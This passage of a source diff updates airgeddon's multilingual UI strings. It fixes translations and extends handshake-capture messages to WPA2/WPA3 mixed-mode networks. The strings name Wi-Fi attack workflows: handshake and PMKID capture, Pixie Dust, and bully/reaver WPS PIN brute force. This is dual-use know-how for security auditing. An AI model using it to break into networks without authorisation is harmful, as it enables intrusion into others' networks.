éducatives. Portez-vous biens!" + arr["FRENCH",7]="Ce script a été fait à des fins purement éducatives. Portez-vous bien!" arr["CATALAN",7]="Aquest script s'ha fet només amb fins educatius. Porteu-vos bé!" arr["PORTUGUESE",7]="Este script foi feito apenas para fins educacionais. Comportem-se!" arr["RUSSIAN",7]="Этот скрипт только для образовательных целей. Будьте хорошими мальчиками и девочками!" @@ -1069,7 +1069,7 @@ function initialize_language_strings() { arr["ENGLISH",8]="Known compatible distros with this script:" arr["SPANISH",8]="Distros conocidas compatibles con este script:" - arr["FRENCH",8]="Distros connus compatibles avec ce script:" + arr["FRENCH",8]="Distros connues compatibles avec ce script:" arr["CATALAN",8]="Distros conegudes compatibles amb aquest script:" arr["PORTUGUESE",8]="Distros conhecidas compatíveis com este script:" arr["RUSSIAN",8]="Известно совместимые дистрибутивы:" @@ -1238,7 +1238,7 @@ function initialize_language_strings() { arr["ENGLISH",21]="The interface changed its name while setting in monitor mode. Autoselected" arr["SPANISH",21]="Esta interfaz ha cambiado su nombre al ponerla en modo monitor. Se ha seleccionado automáticamente" - arr["FRENCH",21]="Le nom de l'interface à changé lors de l'activation du mode moniteur. Elle a été automatiquement sélectionnée" + arr["FRENCH",21]="Le nom de l'interface a changé lors de l'activation du mode moniteur. Elle a été automatiquement sélectionnée" arr["CATALAN",21]="Aquesta interfície ha canviat de nom al posar-la en mode monitor. S'ha seleccionat automàticament" arr["PORTUGUESE",21]="Esta interface mudou de nome ao ser colocada em modo monitor. Ela foi selecionada automaticamente" arr["RUSSIAN",21]="Этот интерфейс изменил своё имя во время перевода в режим монитора. Выбран автоматически" @@ -2601,18 +2601,18 @@ function initialize_language_strings() { arr["TURKISH",125]="Geçerli bir hedef ağ seçilmedi. Seçmek için yönlendiriliyorsunuz" arr["ARABIC",125]="لم يتم تحديد شبكة مستهدفة صالحة. ستتم إعادة توجيهك لتحديد واحدة" - arr["ENGLISH",126]="You have a valid WPA/WPA2 target network selected. Script can continue..." - arr["SPANISH",126]="Tienes una red objetivo WPA/WPA2 válida seleccionada. El script puede continuar..." - arr["FRENCH",126]="Choix du réseau cible WPA/WPA2 valide. Le script peut continuer..." - arr["CATALAN",126]="Tens una xarxa objectiu WPA/WPA2 vàlida seleccionada. El script pot continuar..." - arr["PORTUGUESE",126]="Você tem uma rede WPA/WPA2 válida selecionada. O script pode continuar..." - arr["RUSSIAN",126]="У вас есть подходящая целевая сеть WPA/WPA2. Скрипт может продолжать..." - arr["GREEK",126]="Έχετε επιλέξει ένα έγκυρο δίκτυο-στόχος WPA/WPA2. Το script μπορεί να συνεχίσει..." - arr["ITALIAN",126]="Hai selezionato una rete WPA/WPA2 valida. Lo script può continuare..." - arr["POLISH",126]="Wybrano prawidłową sieć docelową WPA/WPA2. Skrypt może kontynuować..." - arr["GERMAN",126]="Sie haben ein gültiges WPA/WPA2-Zielnetzwerk ausgewählt. Das Skript kann fortfahren..." - arr["TURKISH",126]="Geçerli bir WPA/WPA2 hedef ağı seçtiniz. Yazılım devam edebilir..." - arr["ARABIC",126]="...صالحة. يمكن أن يستمرالبرنامج WPA/WPA2 تم تحديد شبكة هدف" + arr["ENGLISH",126]="You have a valid WPA, WPA2 or WPA2/WPA3 in \"Mixed mode\" target network selected. Script can continue..." + arr["SPANISH",126]="Tienes una red objetivo WPA, WPA2 o WPA2/WPA3 en \"Mixed mode\" válida seleccionada. El script puede continuar..." + arr["FRENCH",126]="Vous avez choisi une réseau valide WPA, WPA2 ou WPA2/WPA3 en \"Mixed mode\". Le script peut continuer..." + arr["CATALAN",126]="Tens una xarxa objectiu WPA, WPA2 o WPA2/WPA3 en \"Mixed mode\" vàlida seleccionada. El script pot continuar..." + arr["PORTUGUESE",126]="Você tem uma rede WPA, WPA2 ou WPA2/WPA3 em \"Mixed mode\" válida selecionada. O script pode continuar..." + arr["RUSSIAN",126]="Вы выбрали подходящую целевую сеть WPA, WPA2 или WPA2/WPA3 в \"Mixed mode\". Скрипт может продолжить..." + arr["GREEK",126]="Έχετε επιλέξει ένα έγκυρο δίκτυο-στόχος WPA, WPA2 ή WPA2/WPA3 σε \"Mixed mode\". Το script μπορεί να συνεχίσει..." + arr["ITALIAN",126]="Hai selezionato una rete WPA, WPA2 o WPA2/WPA3 in \"Mixed mode\" valida. Lo script può continuare..." + arr["POLISH",126]="Wybrano prawidłową sieć docelową WPA, WPA2 lub WPA2/WPA3 w \"Mixed mode\". Skrypt może kontynuować..." + arr["GERMAN",126]="Sie haben ein gültiges WPA, WPA2 oder WPA2/WPA3 im \"Mixed mode\"-Zielnetzwerk ausgewählt. Das Skript kann fortfahren..." + arr["TURKISH",126]="Geçerli bir \"Mixed mode\" da WPA, WPA2 veya WPA2/WPA3 hedef ağı seçtiniz. Yazılım devam edebilir..." + arr["ARABIC",126]="...يمكن أن يستمرالبرنامج .\"Mixed mode\" صالح فى WPA2/WPA3 أو WPA2 و WPA يوجد " arr["ENGLISH",127]="The natural order to proceed in this menu is usually: 1-Select wifi card 2-Put it in monitor mode 3-Select target network 4-Capture Handshake/PMKID" arr["SPANISH",127]="El orden natural para proceder en este menú suele ser: 1-Elige tarjeta wifi 2-Ponla en modo monitor 3-Elige red objetivo 4-Captura Handshake/PMKID" @@ -2744,18 +2744,18 @@ function initialize_language_strings() { arr["TURKISH",136]="Sadece bazı ağlar bir PMKID içeren bir paket yakalamak için savunmasız. 802.11r özellikleri roaming için etkinleştirilmiş olmalı" arr["ARABIC",136]="802.11r لهذا يجب أن يكونوا قد قاموا بتنشيط ميزات التجوال مثل .PMKID بعض الشبكات فقط هي عرضة لالتقاط" - arr["ENGLISH",137]="The selected network is invalid. To get a Handshake, encryption type of target network should be WPA or WPA2" - arr["SPANISH",137]="La red seleccionada no es válida. Para obtener un Handshake, el tipo de encriptación de la red objetivo debe ser WPA o WPA2" - arr["FRENCH",137]="Le réseau sélectionné est invalide . Pour obtenir un Handshake le réseau cible doit être en WPA ou WPA2" - arr["CATALAN",137]="La xarxa seleccionada no és vàlida. Per obtenir un Handshake, el tipus d'encriptació de la xarxa objectiu ha de ser WPA o WPA2" - arr["PORTUGUESE",137]="A rede selecionada é inválida. Para obter um Handshake, o tipo de criptografia da rede deve ser WPA ou WPA2" - arr["RUSSIAN",137]="Выбранная сеть не подходит. Для получения рукопожатия, тип шифрования должен быть WPA или WPA2" - arr["GREEK",137]="Το επιλεγμένο δίκτυο είναι άκυρο. Για να αποκτήσετε μία Χειραψία, ο τύπος κρυπτογράφησης του δικτύου-στόχου πρέπει να έιναι WPA ή WPA2" - arr["ITALIAN",137]="La rete selezionata non è valida. Per ottenere un Handshake, il tipo di crittografia della rete obiettivo deve essere WPA o WPA2" - arr["POLISH",137]="Wybrana sieć jest nieprawidłowa. Aby przechwycić Handshake, typem szyfrowania sieci docelowej musi być WPA lub WPA2" - arr["GERMAN",137]="Das ausgewählte Netzwerk ist nicht gültig. Um einen Handshake zu erhalten, muss die Verschlüsselungsart des Zielnetzwerks WPA oder WPA2 sein" - arr["TURKISH",137]="Seçilen ağ geçersiz. Bir Handshake almak için, şifreleme türü hedef ağ WPA veya WPA2 olmalıdır" - arr["ARABIC",137]="WPA2 أو WPAالشبكة المحددة غير صالحة. للحصول على المصافحة ، يجب أن يكون نوع التشفير للشبكة المستهدفة هو" + arr["ENGLISH",137]="The selected network is invalid. To get a Handshake, encryption type of target network should be WPA, WPA2 or WPA2/WPA3 in \"Mixed mode\"" + arr["SPANISH",137]="La red seleccionada no es válida. Para obtener un Handshake, el tipo de encriptación de la red objetivo debe ser WPA, WPA2 o WPA2/WPA3 en \"Mixed mode\"" + arr["FRENCH",137]="Le réseau sélectionné est invalide. Pour obtenir un Handshake, le réseau cible doit être WPA, WPA2 ou WPA2/WPA3 en \"Mixed mode\"" + arr["CATALAN",137]="La xarxa seleccionada no és vàlida. Per obtenir un Handshake, el tipus d'encriptació de la xarxa objectiu ha de ser WPA, WPA2 o WPA2/WPA3 en \"Mixed mode\"" + arr["PORTUGUESE",137]="A rede selecionada é inválida. Para obter um Handshake, o tipo de criptografia da rede deve ser WPA, WPA2 ou WPA2/WPA3 em \"Mixed mode\"" + arr["RUSSIAN",137]="Выбранная сеть не подходит. Для получения хендшейка, тип шифрования должен WPA, WPA2 или WPA2/WPA3 в \"Mixed mode\"" + arr["GREEK",137]="Το επιλεγμένο δίκτυο είναι μη έγκυρο. Για να αποκτήσετε μία Χειραψία, ο τύπος κρυπτογράφησης του δικτύου-στόχου πρέπει να έιναι WPA, WPA2 ή WPA2/WPA3 σε \"Mixed mode\"" + arr["ITALIAN",137]="La rete selezionata non è valida. Per ottenere un Handshake, il tipo di crittografia della rete obiettivo deve essere WPA, WPA2 o WPA2/WPA3 in \"Mixed mode\"" + arr["POLISH",137]="Wybrana sieć jest nieprawidłowa. Aby przechwycić Handshake, typem szyfrowania sieci docelowej musi być WPA, WPA2 lub WPA2/WPA3 w \"Mixed mode\"" + arr["GERMAN",137]="Das ausgewählte Netzwerk ist nicht gültig. Um einen Handshake zu erhalten, muss die Verschlüsselungsart des Zielnetzwerks WPA, WPA2 oder WPA2/WPA3 im \"Mixed mode\" sein" + arr["TURKISH",137]="Seçilen ağ geçersiz. Bir Handshake almak için, şifreleme türünün hedef ağ \"Mixed mode\" da WPA, WPA2 veya WPA2/WPA3 olmalıdır" + arr["ARABIC",137]="\"Mixed mode\" في WPA2/WPA3 أو WPA2 و WPA الشبكة المحددة غير صالحة. للحصول على المصافحة ، يجب أن يكون نوع التشفير للشبكة المستهدفة هو" arr["ENGLISH",138]="Attack for Handshake" arr["SPANISH",138]="Ataque para Handshake" @@ -2837,7 +2837,7 @@ function initialize_language_strings() { arr["ENGLISH",144]="Don't close any window manually, script will do when needed. In about \${timeout} seconds maximum you'll know if you've got the Handshake" arr["SPANISH",144]="No cierres manualmente ninguna ventana, el script lo hará cuando proceda. En unos \${timeout} segundos como máximo sabrás si conseguiste el Handshake" - arr["FRENCH",144]="Ne pas fermer une des fenêtres manuellement: Le script va le faire automatiquement si besoin est. Vos saurez dans tout a plus \${timeout} secondes si avez obtenu le Handshake" + arr["FRENCH",144]="Ne pas fermer une des fenêtres manuellement: Le script va le faire automatiquement si besoin est. Vous saurez dans tout au plus \${timeout} secondes si vous avez obtenu le Handshake" arr["CATALAN",144]="No tanquis manualment cap finestra, el script ho farà quan escaigui. En uns \${timeout} segons com a màxim sabràs si vas aconseguir el Handshake" arr["PORTUGUESE",144]="Não feche nenhuma janela manualmente, o script fechará quando necessário. Em cerca de \${timeout} segundos no máximo você vai saber se tem o Handshake" arr["RUSSIAN",144]="Не закрывайте вручную какое-либо окно, скрипт сделает это когда нужно. Примерно в максимум \${timeout} секунд вы узнаете, получили ли вы рукопожатие" @@ -3758,18 +3758,18 @@ function initialize_language_strings() { arr["TURKISH",214]="Yeni sürüm başarıyla indirildi. Yazılım yeniden başlatılacak" arr["ARABIC",214]="تم تنزيل الإصدار الجديد بنجاح. سيتم إطلاق البرنامج مرة أخرى" - arr["ENGLISH",215]="WPA/WPA2 passwords always has 8 as a minimum length" - arr["SPANISH",215]="Una contraseña WPA/WPA2 siempre tiene como mínimo una longitud de 8" - arr["FRENCH",215]="Un mot de passe WPA/WPA2 a une longueur minimale de 8 caractères" - arr["CATALAN",215]="Una contrasenya WPA/WPA2 sempre té com a mínim una longitud de 8" - arr["PORTUGUESE",215]="Uma senha WPA/WPA2 deve ter no mínimo 8 caracteres" - arr["RUSSIAN",215]="WPA/WPA2 пароли всегда имеют длину минимум в 8 символов" - arr["GREEK",215]="οι κωδικοί πρόσβασης WPA/WPA2 έχουν πάντα ελάχιστο μήκος 8" - arr["ITALIAN",215]="Una password WPA/WPA2 è sempre lunga almeno 8 caratteri" - arr["POLISH",215]="Hasło WPA/WPA2 ma zawsze długość co najmniej 8 znaków" - arr["GERMAN",215]="Ein WPA/WPA2-Passwort hat immer eine Mindestlänge von 8" - arr["TURKISH",215]="WPA/WPA2 şifrelerinin her zaman minimum uzunluğu 8'dir" - arr["ARABIC",215]="دائمًا على 8 كحد أدنى للطول WPA/WPA2 تحتوي كلمات مرور" + arr["ENGLISH",215]="Chosen action can be carried out only over WPA/WPA2 networks, however WPA3 has been included in the scan filter because these networks sometimes work in \"Mixed mode\" offering WPA2/WPA3 and in that case they are displayed in the scan window as WPA3. So WPA3 networks will appear but then airgeddon will analyze them after scan to allow you select only those that also offering WPA2" + arr["SPANISH",215]="La acción que has elegido realizar solo se puede llevar a cabo sobre redes WPA/WPA2, no obstante en el filtro de escaneo se ha incluido WPA3 ya que estas redes a veces funcionan en \"Mixed mode\" ofreciendo WPA2/WPA3 y cuando es el caso son mostradas en la ventana de escaneo como WPA3. Es decir, que aparecerán redes WPA3 pero luego airgeddon las analizará tras el escaneo para dejarte seleccionar solo aquellas que ofrezcan también WPA2" + arr["FRENCH",215]="L'action que vous avez choisi ne peut pas être effectuée sur réseaux WPA/WPA2. Cependant WPA3 a été inclus dans le filtre d'analyse parce que ces réseaux fonctionnent parfois en \"Mixed mode\" offrant WPA2/WPA3. Quand c'est le cas, ils sont affichés dans la fenêtre de numérisation en tant que WPA3. C'est-à-dire, les réseaux WPA3 apparaîtront et airgeddon les analysera ensuite après l'analyse pour vous permettre de sélectionner uniquement ceux qui offrent également WPA2" + arr["CATALAN",215]="L'acció que has triat realitzar només es pot dur a terme sobre xarxes WPA/WPA2, no obstant això al filtre d'escaneig s'ha inclòs WPA3 ja que aquestes xarxes de vegades funcionen a \"Mixed mode\" oferint WPA2/WPA3 i quan és el cas són mostrades a la finestra d'escaneig com WPA3. És a dir, que apareixeran xarxes WPA3 però després airgeddon les analitzarà després de l'escaneig per deixar-te seleccionar només aquelles que ofereixin també WPA2" + arr["PORTUGUESE",215]="A ação que você escolheu só pode ser realizada em redes WPA/WPA2, no entanto, o WPA3 foi adicionado ao filtro, pois essas redes podem operar em \"Mixed mode\" oferecendo WPA2/WPA3, quando esse for o caso elas são exibidos na janela de busca como WPA3. Embora as redes WPA3 apareçam o airgeddon as analisará após a busca para permitir que você selecione apenas aquelas que também oferecem WPA2" + arr["RUSSIAN",215]="Выбранное действие может быть исполнено только в WPA/WPA2 сетях, однако WPA3 был включен в фильтр сканирования, поскольку эти сети иногда работают в \"Mixed mode\", предлагая WPA2/WPA3, при этом, отображаясь в окне сканирования как WPA3. То есть сети WPA3 появятся, но после сканирования airgeddon проанализирует их, чтобы позволить вам выбрать только те, которые также предлагают WPA2" + arr["GREEK",215]="Η ενέργεια που επιλέξατε μπορεί να εκτελεστεί μόνο σε δίκτυα WPA/WPA2, ωστόσο το WPA3 έχει συμπεριληφθεί στο φίλτρο σάρωσης, καθώς αυτά τα δίκτυα μερικές φορές λειτουργούν σε \"Mixed mode\" προσφέροντας WPA2/WPA3 και σε αυτήν την περίπτωση εμφανίζονται στο παράθυρο σάρωσης ως WPA3. Επομένως θα εμφανιστούν δίκτυα WPA3, αλλά στη συνέχεια το airgeddon θα τα αναλύσει μετά τη σάρωση για να σας επιτρέψει να επιλέξετε μόνο εκείνα που προσφέρουν επίσης WPA2" + arr["ITALIAN",215]="L'azione che hai scelto di eseguire può essere eseguita solo su reti WPA/WPA2, tuttavia WPA3 è stato incluso nel filtro di scansione poiché queste reti a volte funzionano in \"Mixed mode\" offrendo WPA2/WPA3 e quando è il caso vengono visualizzate nella finestra di scansione come WPA3. Cioè, appariranno le reti WPA3 ma poi airgeddon le analizzerà dopo la scansione per farti selezionare solo quelle che offrono anche WPA2" + arr["POLISH",215]="Wybrana czynność może być wykonana tylko w sieciach WPA/WPA2 ale szyfrowanie WPA3 również zostało uwzględnione w filtrze skanowania. Jest to spowodowane tym, że sieci te czasami działają w \"Mixed mode\" oferując tryb WPA2/WPA3, który jest wyświetlany w oknie skanowania jako WPA3. Czyli przy skanowaniu pojawią się sieci WPA3, ale airgeddon przeanalizuje je potem, aby wybrać tylko te, które oferują również WPA2" + arr["GERMAN",215]="Die Aktion, die Sie ausführen möchten, kann nur über WPA/WPA2-Netzwerke ausgeführt werden, jedoch wurde WPA3 in den Suchfilter aufgenommen, da diese Netzwerke manchmal im \"Mixed mode\" arbeiten und WPA2/WPA3 anbieten, und wenn dies der Fall ist, werden im Scan-Fenster als WPA3 angezeigt. Das heißt, WPA3-Netzwerke werden angezeigt, aber airgeddon analysiert sie nach dem Scan, damit Sie nur diejenigen auswählen können, die auch WPA2 anbieten" + arr["TURKISH",215]="Gerçekleştirmeyi seçtiğiniz eylem yalnızca WPA/WPA2 ağları üzerinden gerçekleştirilebilir, ancak bu ağlar bazen WPA2/WPA3 sunan \"Mixed mode\" da çalıştığı ve durum ne zaman görüntülendiği için WPA3 tarama filtresine dahil edilmiştir. WPA3 olarak tarama penceresinde. Yani, WPA3 ağları görünecek, ancak daha sonra airgeddon, yalnızca WPA2 sunanları seçmenize izin vermek için taramadan sonra bunları analiz edecektir" + arr["ARABIC",215]="WPA2 بتحليل هذه الشباكات ليسمح لك باختيار الشباكات التي تقدم airgeddon و فى هذه الحالة سيتم عرضه علي نافذة المسح . سيقوم WPA2/WPA3 بحالة \"Mixed mode\" حيث ان بعض هذه الشباكات تعمل في WPA3 ولكن تم الفحص عن ,WPA/WPA2 لا يمكن تنفيذ الإجراء الذي اخترت تنفيذه إلا عبر شبكات" arr["ENGLISH",216]="No networks found with Handshake captured on the selected file" arr["SPANISH",216]="No se encontraron redes con Handshake capturado en el fichero seleccionado" @@ -3864,7 +3864,7 @@ function initialize_language_strings() { arr["ENGLISH",223]="airgeddon needs root permissions to work. Launch the script as root user or using \"sudo\"" arr["SPANISH",223]="airgeddon necesita permisos de root para funcionar. Lanza el script como usuario root o usando \"sudo\"" - arr["FRENCH",223]="airgeddon a besoin de permissions root pour êtreexécuter. Lancez the script en tant que root ou en utilisant \"sudo\"" + arr["FRENCH",223]="airgeddon a besoin de permissions root pour être exécuté. Lancez the script en tant que root ou en utilisant \"sudo\"" arr["CATALAN",223]="airgeddon necessita permisos de root per funcionar. Llança l'script com a usuari root o utilitza \"sudo\"" arr["PORTUGUESE",223]="airgeddon necessita de permissões root para funcionar. Execute o script como root ou usando \"sudo\"" arr["RUSSIAN",223]="airgeddon требует для работы прав root. Запустите скрипт как root пользователь или используйте \"sudo\"" @@ -4135,7 +4135,7 @@ function initialize_language_strings() { arr["TURKISH",243]="Seçilen kural dosyası: \${pink_color}\${RULES}\${normal_color}" arr["ARABIC",243]="\${pink_color}\${RULES}\${blue_color} :ملف القواعد المحدد\${normal_color}" - arr["ENGLISH",244]="Rule based attacks change the words of the dictionary list according to the rules written in the rules file itself. They are very useful. Some distros has predefined rule files (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" + arr["ENGLISH",244]="Rule based attacks change the words of the dictionary list according to the rules written in the rules file itself. They are very useful. Some distros have predefined rule files (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["SPANISH",244]="Los ataques basados en reglas modifican las palabras de la lista del diccionario según las reglas escritas en el propio fichero de reglas. Son muy útiles. Algunas distros ya traen ficheros predefinidos de reglas (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["FRENCH",244]="Les attaques basées sur des règles modifient les mots du dictionnaire selon les règles établies dans le fichier règles. Ils sont très utiles. Certaines distros comportent des fichiers de règles prédéfinies (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" arr["CATALAN",244]="Els atacs basats en regles modifiquen les paraules de la llista del diccionari segons les regles escrites en el propi fitxer de regles. Són molt útils. Algunes distros ja porten fitxers de regles predefinits (Kali: /usr/share/hashcat/rules // Wifislax: /opt/hashcat/rules)" @@ -5414,20 +5414,20 @@ function initialize_language_strings() { arr["FRENCH",342]="L'attaque Pixie Dust permet l'obtention du PIN et du mot de passe en quelques secondes mais les points d'accès ne sont pas tous vulnérables" arr["CATALAN",342]="L'atac Pixie Dust obté el PIN i la clau en segons, però no tots els punts d'accés són vulnerables a aquest atac" arr["PORTUGUESE",342]="O ataque Pixie Dust recebe o PIN e a senha em segundos, mas nem todos os pontos de acesso são vulneráveis a este ataque" - arr["RUSSIAN",342]="Pixie Dust получает ПИН и пароль за секунды, но не все точки доступа подвержены этой атаке" + arr["RUSSIAN",342]="Pixie Dust находит PIN-код и пароль за считанные секунды, но не все точки доступа подвержены этой атаке" arr["GREEK",342]="Η επίθεση Pixie Dust αποκτά το PIN και τον κωδικό πρόσβασης σε δευτερόλεπτα, αλλά μερικά σημεία πρόσβασης δεν επηρεάζονται" arr["ITALIAN",342]="L'attacco Pixie Dust ottiene il PIN e la password in pochi secondi, ma non tutti i punti di accesso sono vulnerabili a questo attacco" arr["POLISH",342]="Atak Pixie Dust pobiera PIN i klucz sieci w kilka sekund, ale nie wszystkie punkty dostępu są na niego podatne" arr["GERMAN",342]="Der Pixie Dust Angriff erhält die PIN und den Schlüssel in Sekundenschnelle, aber nicht alle Access Points sind für diesen Angriff anfällig" arr["TURKISH",342]="Pixie Dust saldırısı saniyeler içinde PIN ve şifre alır, ancak tüm erişim noktaları etkilenmez" - arr["ARABIC",342]="وكلمة مرور في ثوانٍ ، ولكن ليس كل نقاط الوصول عرضة لهذا الهجوم PINعلى رمز Pixie Dust يحصل هجوم" + arr["ARABIC",342]="وكلمة مرور في ثوانٍ ، ولكن ليس كل نقاط الوصول عرضة لهذا الهجوم PIN على رمز Pixie Dust يحصل هجوم" arr["ENGLISH",343]="In order to success on any WPS based attack, you need good signal of target network. We might otherwise get false negatives" arr["SPANISH",343]="Para realizar cualquier ataque WPS es necesario tener una buena señal de la red objetivo. Si no, podríamos obtener falsos negativos" arr["FRENCH",343]="Il faut être dans de bonnes conditions d'émission et de réception pour pouvoir mener à bien une attaque WPS. Sinon l'attaque pourrait se solder par un faux négatif" arr["CATALAN",343]="Per realitzar qualsevol atac WPS cal tenir un bon senyal de la xarxa objectiu. Si no, podríem obtenir falsos negatius" arr["PORTUGUESE",343]="Para executar qualquer ataque WPS você precisa ter um bom sinal da rede alvo. Caso contrario você pode obter falsos negativos" - arr["RUSSIAN",343]="Чтобы добиться успеха при любой WPS атаке, вам нужен хорошей сигнал целевой сети. В противном случае мы можем получить ложные срабатывания" + arr["RUSSIAN",343]="Чтобы добиться успеха в WPS атаке, вам необходимо иметь хороший сигнал с целевой сетью. В противном случае могут быть ложные срабатывания" arr["GREEK",343]="Για να εκτελεστεί επιτυχώς οποιαδήποτε επίθεση WPS, θα πρέπει να υπάρχει ισχυρό σήμα του δικτύου στόχου. Αλλιώς μπορεί να υπάρξουν ψευδώς αρνητικά αποτελέσματα" arr["ITALIAN",343]="Per qualsiasi attacco WPS è necessario avere un buon segnale della rete obiettivo. Altrimenti potremmo ottenere falsi negativi" arr["POLISH",343]="Aby wykonać dowolny atak WPS, trzeba mieć dobry sygnał z sieci docelowej. Jeśli nie, możemy błędnie stwierdzić ze AP jest odporny" @@ -5440,7 +5440,7 @@ function initialize_language_strings() { arr["FRENCH",344]="Certains routeurs bloquent le WPS après un certain nombre de PIN erronés. Ce nombre varie selon les modèle" arr["CATALAN",344]="Alguns punts d'accés es bloquejan després de fallar un cert nombre d'intents de connexió per PIN. Pot variar depenent del punt d'accés" arr["PORTUGUESE",344]="Alguns pontos de acesso podem estar bloqueados depois de receber uma série de tentativas incorretas de conexão por PIN. Isso pode variar dependendo do ponto de acesso" - arr["RUSSIAN",344]="Некоторые точки доступа блокируются после нескольких неудачных попыток подключения с ПИНом. Это зависит от конкретной точки доступа" + arr["RUSSIAN",344]="Некоторые точки доступа блокируются после нескольких неудачных попыток подключения с PIN-кодом. Зависит от конкретной точки доступа" arr["GREEK",344]="Μερικά σημεία πρόσβασης μπορεί να μπλοκαριστούν μετά από μερικές αποτυχημένες προσπάθειες σύνδεσης PIN. Μπορεί να διαφέρει ανάλογα με το σημείο πρόσβασης" arr["ITALIAN",344]="Alcuni punti di accesso si bloccano dopo un certo numero di tentativi di connessione con PIN. Può variare a seconda del punto di accesso" arr["POLISH",344]="Niektóre punkty dostępu są blokowane po pewnej liczbie prób PIN. Liczba ta może się różnić w zależności od punktu dostępu" @@ -5453,7 +5453,7 @@ function initialize_language_strings() { arr["FRENCH",345]="5. (bully) Association avec PIN personnalisé" arr["CATALAN",345]="5. (bully) Associació amb PIN personalitzat" arr["PORTUGUESE",345]="5. (bully) Associação com um PIN personalizado" - arr["RUSSIAN",345]="5. (bully) Подключение с известным ПИНом для раскрытия пароля сети" + arr["RUSSIAN",345]="5. (bully) Подключение с известным PIN-кодом для раскрытия пароля сети" arr["GREEK",345]="5. (bully) Σύνδεση με εξατομικευμένο PIN" arr["ITALIAN",345]="5. (bully) Associazione con PIN personalizzato" arr["POLISH",345]="5. (bully) Asocjacja z niestandardowym kodem PIN" @@ -5479,7 +5479,7 @@ function initialize_language_strings() { arr["FRENCH",347]="9. (bully) Attaque brute force PIN" arr["CATALAN",347]="9. (bully) Atac de força bruta per PIN" arr["PORTUGUESE",347]="9. (bully) Ataque de força bruta por PIN" - arr["RUSSIAN",347]="9. (bully) Атака полным перебором ПИНа" + arr["RUSSIAN",347]="9. (bully) Атака с полным перебором PIN-кода" arr["GREEK",347]="9. (bully) Επίθεση PIN με χρήση ωμής βίας" arr["ITALIAN",347]="9. (bully) Attacco forza bruta con PIN" arr["POLISH",347]="9. (bully) Atak Brute Force za pomocą kodu PIN" @@ -5492,7 +5492,7 @@ function initialize_language_strings() { arr["FRENCH",348]="11. (bully) Attaque en utilisant un PIN de la base de données" arr["CATALAN",348]="11. (bully) Atac basat en base de dades de PINs coneguts" arr["PORTUGUESE",348]="11. (bully) Ataque com base em um banco de dados de PINs conhecidos" - arr["RUSSIAN",348]="11. (bully) Атака на основе базы данных известных и сгенерированных ПИНов" + arr["RUSSIAN",348]="11. (bully) Атака на основе базы данных известных и сгенерированных PIN-кодов" arr["GREEK",348]="11. (bully) Επίθεση με χρήση βάσης δεδομένων γνωστών PIN" arr["ITALIAN",348]="11. (bully) Attacco che utilizza una base dati di PIN" arr["POLISH",348]="11. (bully) Atak oparty o bazę danych znanych PINów" @@ -5609,7 +5609,7 @@ function initialize_language_strings() { arr["FRENCH",357]="6. (reaver) Association avec le code PIN personnalisé" arr["CATALAN",357]="6. (reaver) Associació amb PIN personalitzat" arr["PORTUGUESE",357]="6. (reaver) Associação com um PIN personalizado" - arr["RUSSIAN",357]="6. (reaver) Подключение с известным ПИНом для раскрытия пароля сети" + arr["RUSSIAN",357]="6. (reaver) Подключение с известным PIN-кодом для раскрытия пароля сети" arr["GREEK",357]="6. (reaver) Σύνδεση με εξατομικευμένο PIN" arr["ITALIAN",357]="6. (reaver) Associazione con PIN personalizzato" arr["POLISH",357]="6. (reaver) Asocjacja z niestandardowym kodem PIN" @@ -5635,7 +5635,7 @@ function initialize_language_strings() { arr["FRENCH",359]="10. (reaver) Attaque de force brute PIN" arr["CATALAN",359]="10. (reaver) Atac de força bruta per PIN" arr["PORTUGUESE",359]="10. (reaver) Ataque de força bruta por PIN" - arr["RUSSIAN",359]="10. (reaver) Атака полным перебором ПИНа" + arr["RUSSIAN",359]="10. (reaver) Атака c полным перебором PIN-кода" arr["GREEK",359]="10. (reaver) Επίθεση PIN με χρήση ωμής βίας" arr["ITALIAN",359]="10. (reaver) Attacco forza bruta con PIN" arr["POLISH",359]="10. (reaver) Atak Brute Force za pomocą kodu PIN" @@ -5648,7 +5648,7 @@ function initialize_language_strings() { arr["FRENCH",360]="12. (reaver) Attaque en utilisant la base de données de PIN connus" arr["CATALAN",360]="12. (reaver) Atac basat en base de dades de PINs coneguts" arr["PORTUGUESE",360]="12. (reaver) Ataque com base em um banco de dados de PINs conhecidos" - arr["RUSSIAN",360]="12. (reaver) Атака на основе базы данных известных и сгенерированных ПИНов" + arr["RUSSIAN",360]="12. (reaver) Атака на основе базы данных известных и сгенерированных PIN-кодов" arr["GREEK",360]="12. (reaver) Επίθεση με χρήση βάσης δεδομένων γνωστών PIN" arr["ITALIAN",360]="12. (reaver) Attacco che utilizza una base dati di PINs conosciuti" arr["POLISH",360]="12. (reaver) Atak oparty o bazę danych znanych PINów" @@ -5656,18 +5656,18 @@ function initialize_language_strings() { arr["TURKISH",360]="12. (reaver) Bilinen PIN'ler veritabanı tabanlı saldırı" arr["ARABIC",360]="12. معروفة PINs هجوم قائم على قاعدة بيانات (reaver)" - arr["ENGLISH",361]="WPA/WPA2 filter enabled in scan. When started, press [Ctrl+C] to stop..." - arr["SPANISH",361]="Filtro WPA/WPA2 activado en escaneo. Una vez empezado, pulse [Ctrl+C] para pararlo..." - arr["FRENCH",361]="Le filtre WPA/WPA2 est activé dans la scan. Une fois l'opération lancée, veuillez presser [Ctrl+C] pour l'arrêter..." - arr["CATALAN",361]="Filtre WPA/WPA2 activat en escaneig. Una vegada iniciat, polsi [Ctrl+C] per detenir-ho..." - arr["PORTUGUESE",361]="Filtro WPA/WPA2 ativo na busca de redes wifi. Uma vez iniciado, pressione [Ctrl+C] para pará-lo..." - arr["RUSSIAN",361]="Для сканирования включен фильтр WPA/WPA2. После запуска, нажмите [Ctrl+C] для остановки..." - arr["GREEK",361]="Το φίλτρο WPA/WPA2 ενεργοποιήθηκε κατά τη σάρωση. Όταν αρχίσει, μπορείτε να το σταματήσετε πατώντας [Ctrl+C]..." - arr["ITALIAN",361]="Filtro WPA/WPA2 attivato nella scansione. Una volta avviata, premere [Ctrl+C] per fermarla..." - arr["POLISH",361]="Filtr WPA/WPA2 aktywowany podczas skanowania. Naciśnij [Ctrl+C] w trakcie trwania, aby zatrzymać..." - arr["GERMAN",361]="WPA/WPA2-Filter beim Scannen aktiviert. Nach dem Start, drücken Sie [Ctrl+C], um es zu stoppen..." - arr["TURKISH",361]="WPA/WPA2 filtresi aktifleştirildi. 